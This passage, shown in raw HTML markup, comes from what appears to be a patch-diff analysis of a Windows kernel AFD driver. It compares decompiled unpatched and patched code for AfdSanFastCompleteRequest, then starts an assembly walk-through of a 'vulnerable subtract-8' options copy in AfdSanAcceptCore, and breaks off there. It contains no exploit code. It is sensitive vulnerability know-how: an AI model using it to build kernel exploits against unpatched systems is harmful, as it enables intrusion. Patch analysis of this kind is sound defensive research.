&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;g_Feature_2949905720_61057653_FeatureDescriptorDetails&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;AfdDrainListeningIrps&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;KSPIN_LOCK&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;FsContext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;LockHandle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// NEW: drain conn+0x70 list&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;KeReleaseInStackQueuedSpinLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;LockHandle&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Finding 3 — &lt;code&gt;AfdSanFastCompleteRequest&lt;/code&gt; (Receive Completion — State Check Made Unconditional)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ============================================================&lt;/span&gt;
&lt;span class="c1"&gt;// UNPATCHED — AfdSanFastCompleteRequest @ 0x1C0078630&lt;/span&gt;
&lt;span class="c1"&gt;// ============================================================&lt;/span&gt;
&lt;span class="n"&gt;KeAcquireInStackQueuedSpinLock&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;PKSPIN_LOCK&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v18&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;LockHandle&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// lock at conn+0x30&lt;/span&gt;
&lt;span class="n"&gt;_InterlockedExchange64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v20&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;AfdSanCancelRequest&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;// Irp-&amp;gt;CancelRoutine = Irp+0x68&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;_BYTE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v20&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;68&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;                                          &lt;/span&gt;&lt;span class="c1"&gt;// Irp-&amp;gt;Cancel (Irp+0x44) == 0&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;g_Feature_757798200_60363861_FeatureDescriptorDetails&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_BYTE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v18&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;145&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;                                     &lt;/span&gt;&lt;span class="c1"&gt;// conn[0x91] checked only if flag on&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// queue IRP list entry (Irp+0xA8) onto the conn+0x70 list&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v27&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v20&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v28&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v18&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;112&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v29&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v18&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;112&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v29&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v18&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;112&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__fastfail&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3u&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;v27&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v29&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v27&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v28&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v29&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v27&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;v28&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v27&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;KeReleaseInStackQueuedSpinLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;LockHandle&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// ============================================================&lt;/span&gt;
&lt;span class="c1"&gt;// PATCHED — AfdSanFastCompleteRequest @ 0x1C0077700&lt;/span&gt;
&lt;span class="c1"&gt;// ============================================================&lt;/span&gt;
&lt;span class="n"&gt;KeAcquireInStackQueuedSpinLock&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;PKSPIN_LOCK&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v18&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;LockHandle&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;_InterlockedExchange64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v20&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;AfdSanCancelRequest&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;_BYTE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v20&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;68&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_BYTE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v18&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;145&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// conn[0x91] check now unconditional&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// identical list insertion onto conn+0x70&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v27&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v20&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v28&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v18&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;112&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v29&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v18&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;112&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v29&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v18&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;112&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__fastfail&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3u&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;v27&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v29&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v27&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v28&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v29&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v27&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;v28&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v27&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;KeReleaseInStackQueuedSpinLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;LockHandle&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;Finding 1 — &lt;code&gt;AfdSanAcceptCore&lt;/code&gt; Vulnerable Options Copy&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Unpatched assembly&lt;/strong&gt; (options guard and the vulnerable subtract-8 branch):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0076401&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; options size &amp;lt; 6 -&amp;gt; skip copy&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0076405&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;loc_1C00764DF&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007640B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;r14d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; r14 = options size (16-bit)&lt;/span&gt;
&lt;span class="c1"&gt;; ... output buffer mapped into r15 ...&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0076452&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;A8h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_48&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0076457&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;ACh&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; connection byte [conn+0xAC]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007645E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C007649E&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; == 0 -&amp;gt; subtract-8 (vulnerable) path&lt;/span&gt;
&lt;span class="c1"&gt;; ( [conn+0xAC] != 0 falls through to the subtract-2 path at 0x1C0076460, which cannot&lt;/span&gt;
&lt;span class="c1"&gt;;   underflow because size &amp;gt;= 6, and is unchanged between builds )&lt;/span&gt;
